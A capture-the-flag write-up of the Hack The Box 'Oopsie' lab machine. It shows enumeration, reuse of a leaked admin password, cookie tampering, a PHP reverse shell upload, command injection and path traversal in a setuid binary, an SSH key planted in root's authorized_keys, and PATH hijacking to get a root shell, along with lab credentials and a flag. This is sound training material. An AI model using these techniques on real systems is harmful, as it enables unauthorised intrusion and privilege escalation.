Starting Point Box writeup for a Linux box called Oopsie, purpose of this writeup is to explain how to Root this box in more detail than the official walkthroughs provided by HTB.
Setup
We began by creating a new Directory so we can store all the outputs and files in one place. Then we check that our Starting Point VPN has connected correctly by pinging the box, please refer back to my Original Starting Point Writeup if you don’t know how to setup your HTB VPN.
1
2
3
4
5
bros@Bros10:~/Starting-point$ mkdir Oopsie
bros@Bros10:~/Starting-point$ cd Oopsie/
bros@Bros10:~/Starting-point/Oopsie$ ping 10.10.10.28
PING 10.10.10.28 (10.10.10.28) 56(84) bytes of data.
64 bytes from 10.10.10.28: icmp_seq=1 ttl=63 time=46.1 ms
Enumeration
We begin the Enumeration stage with our normal nmap scan, which I’ll explain quickly again but go through more detail in my Original Starting Point Writeup. The -sV flag will determine versions, -sC will run default scripts and -oA will save the output of the scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bros@Bros10:~/Starting-point/Oopsie$ nmap -sV -sC -oA scans 10.10.10.28
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-15 17:27 BST
Nmap scan report for 10.10.10.28
Host is up (0.060s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.57 seconds
From the scan we can see that it only has SSH and HTTP open, due to the use of the -sC flag a script would of attempted anonymous login onto the SSH service so we won’t attempt that. So we navigate to the site.
Foothold
We attempt to the navigation bar and any other buttons which may have some functionality but they all have a href of # which is just a dead link. However one thing I noticed is that if you scroll down to the bottom of the website on the footer it contains an email admin@megacorp.com. So after finding nothing else and all the links seem to be dead I decided to use gobuster which is a tool that we used to brute force directories and files in web sites.
1
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.10.28
We begin with the gobuster [command] which in this case is dir for brute forcing directories, -w flag to provide the path to the wordlist we want to use and -u flag to provide the URL we want to brute force. After leaving this running we get a few results but the /cdn-cgi (Status: 301) directory looks interesting. I decided to brute force the /cdn-cgi directory to try and find any files that we could access so we ran this command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bros@Bros10:~$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.10.28/cdn-cgi/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.28/cdn-cgi/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/07/15 17:43:44 Starting gobuster
===============================================================
/login (Status: 301)
Progress: 2509 / 30001 (8.36%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/07/15 17:44:18 Finished
===============================================================
As you can see we find a /login and navigate to it.
After attempting some manual SQL injection and running SQL map against the login form I remembered the admin email (admin@megacorp.com) that I found on the website mentioned megacorp which was also mentioned within the administrators password from the initial starting point machine called Archetype. Looking back at the writeup the specific password was: MEGACORP_4dm1n!!. Therefore within the Login form I attempted to login as admin using the password MEGACORP_4dm1n!! , which was successful. While this was the first time for any HTB box where credentials have been reused across boxes it still teaches a very good lesson, credential reuses is a very common attack technique due to the fact that most individuals use the same password across websites and services. So if you’ve got any set of credentials then try them against every service which asks for some authentication.
Once we have logged in we notice the uploads aspect, however when we navigate to this aspect of the site it comes up with this message:
After noticing how it utilises admin.php?content= and then requests the page I attempted a Local File Inclusion but had no success, before attempting to exploit a LFI further I decided to boot up Burp suite, turn my proxy on and intercept the requests. If you’ve user Burp Suite before then I advise you to follow this tutorial to get it to work with Firefox. So we turn the Proxy on Firefox, navigate over to Burp Suite Proxy tap and then click Intercept is on which once we refresh the accounts page we will see the raw request.
Within the request we can see our Cookie: user=34322; role=admin,from this Cookie we can tell that the id parameter within the URL is what identifies the role of said account and the user. I’m assuming there is a role=SuperAdmin but to find out what ID has that role we shall need to brute force the ID. To do this we could write a bash script which utilises curl and a wordlist containing ID numbers however for the sake of saving time I’ll utilise Burp Suite to do it all for us. So all we want burp suite to do is to change the ID value to try and find which ID value corresponds to the Super Admin account.
We first send the Request to Intruder:
Navigate to Intruder, Positions tab and press the Clear button.
We then highlight the ID and click the Add button
This will set it so that the ID value will be changed by the brute force attack. Navigate to the Payloads tab where we set the payload type to Brute force and change the character set to just numbers. Min length = 0 and Max length = 2 means it will brute force 00 to 99.
We then Start the attack and leave it to run for a while, once it’s ran for a few seconds we can order it by length. Length is the amount of character which we get within the Request, this length should be different for any ID which correlates to the Super Admin as it’s more characters than Admin. 
We can see here that using the payload of 30 we get a longer length, therefore there’s a chance that the ID of 30 correlates to the Super Admin. So to confirm that we can head over to the Response tab within the attack and scroll down to the response where we see we are now the super admin and have a user number which is 86575
Now that we have found out the Super Admins ID and it’s role name we can navigate to the uploads page, intercept the request and edit the Cookie to change the user and role to the Super Admin. We then forward that request on which showcases the upload page to use. Allowing us to set a name shell and then upload a PHP reverse shell. The reasoning behind using a PHP reverse shell is because we know the website utilises PHP therefore a PHP shell is the best bet. For the shell I just copied and pasted it from here and changed these two lines $ip = '10.10.xx.xx'; and then $port =2222;. As a remainder if you don’t know what your IP address is run this command ip a | grep tun0 and copy and paste your IP address up until the backslash. We then press upload, go back to Burp suite and change the user and role parameter within the cookie to Super Admin again and then forward the request which will upload the shell.
Now we’ve uploaded the shell we’ve got to find it’s location and then navigate to the file on the website to execute it. So if we go back to the output of our first gobuster scan we can see a /uploads directory and therefore navigate to http://10.10.10.28/uploads/shell.php. But before navigating to said directory we’ve got to setup netcat to listen on port 2222 and then navigate to the URL, where if you’ve done it correctly it should hang and give you a call back on your terminal.
1
2
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@oopsie:/$
You can see above that we’ve utilised python3 to improve our shell.
User
1
2
3
4
5
6
7
8
9
10
11
www-data@oopsie:/var/www/html/cdn-cgi/login$ pwd
pwd
/var/www/html/cdn-cgi/login
www-data@oopsie:/var/www/html/cdn-cgi/login$ ls
ls
admin.php db.php index.php script.js
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
So we cd into the directory which is hosting the cdn-cgi aspect and notice a db.php file which contains the credentials for robert we can switch account to robert and get the User flag.
1
2
3
4
5
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!
robert@oopsie:/var/www/html/cdn-cgi/login$
Root - Getting root.txt
We begin the journey to root by running the first command that you should do run is sudo -l which shows what commands you can run using sudo however robert has no commands which he can run using sudo. The next command I run is seen below
1
2
robert@oopsie:/$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
As you can see we are part of a group called bugtracker so we run this find command to find all files which belong to the bugtracker group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
robert@oopsie:/$ find / -group bugtracker
find: ‘/var/log/unattended-upgrades’: Permission denied
find: ‘/var/spool/cron/atspool’: Permission denied
find: ‘/var/spool/cron/atjobs’: Permission denied
find: ‘/var/spool/cron/crontabs’: Permission denied
find: ‘/var/spool/rsyslog’: Permission denied
find: ‘/var/lib/polkit-1’: Permission denied
find: ‘/var/lib/mysql’: Permission denied
find: ‘/var/lib/mysql-keyring’: Permission denied
find: ‘/var/lib/snapd/void’: Permission denied
find: ‘/var/lib/snapd/cookie’: Permission denied
find: ‘/var/lib/update-notifier/package-data-downloads/partial’: Permission denied
find: ‘/var/lib/private’: Permission denied
find: ‘/var/lib/apt/lists/partial’: Permission denied
find: ‘/var/lib/mysql-files’: Permission denied
find: ‘/var/lib/php/sessions’: Permission denied
find: ‘/etc/polkit-1/localauthority’: Permission denied
find: ‘/etc/ssl/private’: Permission denied
find: ‘/lost+found’: Permission denied
However as you can see due to the fact that we are searching every folder within this machine we get alot of Permission denied so to stop this from happening and to just see valid results we can add 2>/dev/null to the end which will filter out the errors so they don’t fill up the console. In more detail: 2 represents the error descriptor, which is where errors are written to but then using > we direct all those errors to /dev/null which immediately discards anything written to it. Think of /dev/null as a blackhole.
1
2
robert@oopsie:/$ find / -group bugtracker 2>/dev/null
/usr/bin/bugtracker
We can run ls -lah against /usr/bin/bugtracker and see that the group bugtracker can execute and use this binary but it’s owned by root meaning if we can get this binary to execute a command we want. Said command would be executed as root, therefore being able to get the root flag and a root shell.
1
2
root@oopsie:/usr/bin# ls -lah | grep bugtracker
-rwsr-xr-- 1 root bugtracker 8.6K Jan 25 10:14 bugtracker
So now let’s see what this program does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
robert@oopsie:/$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1 #We provided this input, just put 1 as I assume an ID is an integer.
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
So when inputting 1 we seem to get some sort of report back.
Now instead of entering an integer I decided to input some random characters to see how the program responded.
1
2
3
4
5
6
7
8
9
10
robert@oopsie:/$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: awdawd
---------------
cat: /root/reports/awdawd: No such file or directory
We can see that the Bug ID corresponds to a file in /root/reports. So using the Bug ID of 1 the program seems do this cat /root/reports/1. The first thing I tried was to get it to output the root.txt file instead of a report. So I put this as an ID:
1
2
3
4
Provide Bug ID: ../root.txt
---------------
af1
This works due to the fact that it’s executing this command cat /root/reports/../root.txt and then .. will actually drop down to /root.We have now successfully obtained the root flag but I always want to try and get a stable shell. As within a real world scenario there wouldn’t be a “flag” and we would need a shell to have any impact.
Root - Route to SSH access
Initially,I tried to get the contents of the roots private SSH key for root however that didn’t seem to exist. Meaning no SSH key has been generated by root on this machine. However if you look at your own /home/your_user/.ssh/ directory you should see a authorized_keys file which may contain public SSH keys for users who can SSH in as root. Meaning the main goal would be to be able to get our own id_rsa.pub (my SSH public key) into the roots authorized_keys.
Before thinking about being able to SSH in we’ve got to have a better understand of how we could exploit this program. Now I all ready know that the program just cats a file, therefore we can use ; to get the program to run this cat /root/reports/1;ls which will both cat the file and then also ls the current directory from where the program is being ran from.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
robert@oopsie:~$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1;ls
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
user.txt
So then decided to try and cat the user.txt file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
robert@oopsie:~$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1;cat user.txt
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
However we can see that the contents of user.txt wasn’t printed, after trying some more commands it seems like we couldn’t execute any commands which included spaces. Which didn’t allow us to do 1;cat /root/root.txt due to the space between cat and the /root directory. To overcome this issue of not being able to execute commands with spaces we can create a bash file, which contains multiple commands and then get the bugtracker program to execute the bash file. Resulting in every command getting executed. So I created an bash file and included just 2 commands and made it executable, if I didn’t make it executable the only way to execute said bash file would be through this command bash exploit.sh which once again has a space. Therefore by making it executable using chmod +x I can run the file through this command ./exploit.sh
1
2
3
4
5
6
7
8
9
robert@oopsie:~$ cat exploit.sh
#!/bin/bash
cat /root/root.txt
ls /root/.ssh/
robert@oopsie:~$ chmod +x exploit.sh
robert@oopsie:~$ ./exploit.sh
cat: /root/root.txt: Permission denied
ls: cannot access '/root/.ssh/': Permission denied
So I attempt to get root to execute the exploit.sh file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
robert@oopsie:~$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1;./exploit.sh
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
af1
authorized_keys
As you can see we have printed the root flag again and we can see that the /root/.ssh/ directory does contain the authorized_keys file. All we have to do now is to echo my SSH public key into the authorized_keys file and then we will be able to SSH in as root. Therefore adjust the exploit.sh file.
1
2
3
4
5
robert@oopsie:~$ cat exploit.sh
#!/bin/bash
echo "Adding my Public SSH key into /root/.ssh/authorized_keys"
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+GtvKWz5s9cZWcWVkO0JQneEhk/adF7E7CfLVCaExFwEKQOpNsIWXKjg07BNfvRBPRehm/uhLDSlXTKAldmvhxv0cLHJV3N/SLZG3D2abjX9ejSHr6p1hpZRuNc+xJTHww+AhCyDUSaVmEf1Nrcrd0hMA4T7/LCn2jzN1XS3ZAg1HK7LH205PcvOy4XLytcwslSA02wqlN7OJpytl3pwCvdCa1anRGrE4MD4xQ58CKEdsU6w1cmP2HSBDtuDzk2TJzXeyX5B30vaYSLIxS0DeoUcJq1v/Ohf3TCxLAZUMn5gtpD5FMe1sPi0JbE8vtwk/F3/7z8BZRBjakqe0oyNKab1eSaA1o1wtMTwsRU4VKjUuPW1+0iouf2UeJi43zZsOwl5n4wCvtvleEu1tvdhAQ5MJAP9wyuvoF3rZitICwtSvG6XQcqIsNbBqT5UJ6h1ZvIWXwavFkg8i0Qsd25LkSzZEHaCAl9z1GyG47WJN3d4KutY9vPVd+1au2Ec8tgDnnN8l0FJijlfHbefOnj6fx4XBJmZWpL2AHHrqnnyzbfbCeXm2RGU7P1DN6kqxFYIInWkwC6i9FLH34Vxym3EARoBhiws8WIcqqoTKDJ7kdipCJC+RsdRsPYk4i2MlZOrlhJ+Y8L5N9iqCRWBiyVI1JRnWZo2DhPjIL1K4rwlSXQ== myemail@gmail.com" > /root/.ssh/authorized_keys
Allowing me to execute the exploit again as root.
1
2
3
4
5
6
7
8
9
10
11
robert@oopsie:~$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: ;./exploit.sh
---------------
cat: /root/reports/: Is a directory
Adding my Public SSH key into /root/.ssh/authorized_keys
Which then allows us to SSH in due to the fact that my SSH private key matches with the SSH public key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ssh root@10.10.10.28
The authenticity of host '10.10.10.28 (10.10.10.28)' can't be established.
ECDSA key fingerprint is SHA256:JmIUfqU8/Xv/1Fy/m/Clya5iX2K756n/EGu0eeJb5xc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.28' (ECDSA) to the list of known hosts.
Enter passphrase for key '/home/bros/.ssh/id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-76-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jul 15 17:37:03 UTC 2020
System load: 0.02 Processes: 150
Usage of /: 25.5% of 19.56GB Users logged in: 0
Memory usage: 34% IP address for ens160: 10.10.10.28
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 updates are security updates.
Last login: Fri Mar 20 13:32:12 2020
root@oopsie:~# whoami
root
Root - Abusing the PATH variable
Before I originally exploited the application I ran strings /usr/bin/bugtracker/on it and came across this string: cat /root/reports/. This string showcases that this calls the cat binary using relative path instead of absolute path. Here is an example of using relative path: robert@oopsie:~$ bugtracker and here is an example of using absolute path: robert@oopsie:~$ /usr/bin/bugtracker. To abuse the fact that bugtracker utilises relative path you need to understand the PATH variable. The PATH variable is an environment variable that contains an ordered list of paths that Unix will search for executables/binaries/programs when running a command. We can see said PATH variable through this command:
1
2
robert@oopsie:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
We can modify the PATH variable using export.
1
2
3
4
5
6
7
robert@oopsie:~$ mkdir exploit
robert@oopsie:~$ cd exploit/
robert@oopsie:~/exploit$ pwd
/home/robert/exploit
robert@oopsie:~/exploit$ export PATH=/home/robert/exploit:$PATH #This will add /home/robert/exploit to the front of the list for the PATH variable.
robert@oopsie:~/exploit$ echo $PATH
/home/robert/exploit:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
This means that if we call the bugtracker binary now it will call the cat binary however it will first look for it in home/robert/exploit and then in /usr/local/sbin etc. We can create a file called cat in /home/robert/exploit. Once we run bugtracker it will run our version of thecat binary. Therefore we can create a bash file, name it cat and gain root the exact same way as we managed beforehand. One example can be seen here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
robert@oopsie:~/exploit$ chmod +x cat
robert@oopsie:~/exploit$ cat cat
#!/bin/bash
echo "Root shell incoming"
/bin/bash #We could also make it echo our SSH public key like we did above.
robert@oopsie:~/exploit$ ls
cat
robert@oopsie:~/exploit$ bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
---------------
Root shell incoming
root@oopsie:~/exploit# whoami
root
root@oopsie:~/exploit#
So when we enter 1, it will attempt to do cat /root/reports/1 but it will call our cat binary which will then give us a root shell.
Another example of utilising this exploit is calling a /bin/sh shell instead of a /bin/bash shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
robert@oopsie:~$ mkdir exploit
robert@oopsie:~$ ls
exploit LinEnum.sh user.txt
robert@oopsie:~$ cd exploit/
robert@oopsie:~/exploit$ export PATH=:$PATH
robert@oopsie:~/exploit$ ^C
robert@oopsie:~/exploit$ pwd
/home/robert/exploit
robert@oopsie:~/exploit$ export PATH=/home/robert/exploit:$PATH
robert@oopsie:~/exploit$ echo $PATH
/home/robert/exploit::/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
robert@oopsie:~/exploit$ echo '/bin/sh' > cat
robert@oopsie:~/exploit$ chmod +x cat
robert@oopsie:~/exploit$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
---------------
# whoami
root
Root - Extra Ways
For this box the amount of ways to abuse the bugtracker program is nearly unlimited. So here are just a few more examples of how else you could get a root shell.
1
2
3
4
5
6
7
robert@oopsie:~$ vim exploit.sh
#!/bin/bash
cat /root/root.txt
ls /root/.ssh/
/bin/bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Provide Bug ID: 1;./exploit.sh
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
af13b0bee69f8a877c3faf667f7beacf
authorized_keys
root@oopsie:~# whoami
root
1
2
3
4
5
6
7
robert@oopsie:~$ vim exploit.sh
#!/bin/bash
cat /root/root.txt
ls /root/.ssh/
/bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
robert@oopsie:~$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1;./exploit.sh
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
af13b0bee69f8a877c3faf667f7beacf
authorized_keys
# whoami
root
#
Conclusion
In Conclusion we begin by navigating to the website, where we find an login form. Which we can log in as Admin using the credentials from the previous box. From there we can brute force the user ID to obtain the Super Admin role which allows us to upload a PHP reverse shell. Once we obtain a shell we find credentials for the user account in the db.php file, allowing us to switch users and get the user flag. We then find out that robert is part of a group called bugtracker, which we find can run a program called bugtracker which however is executed as root. Allowing us to abuse the program to execute commands we want as root, resulting in multiple paths to root.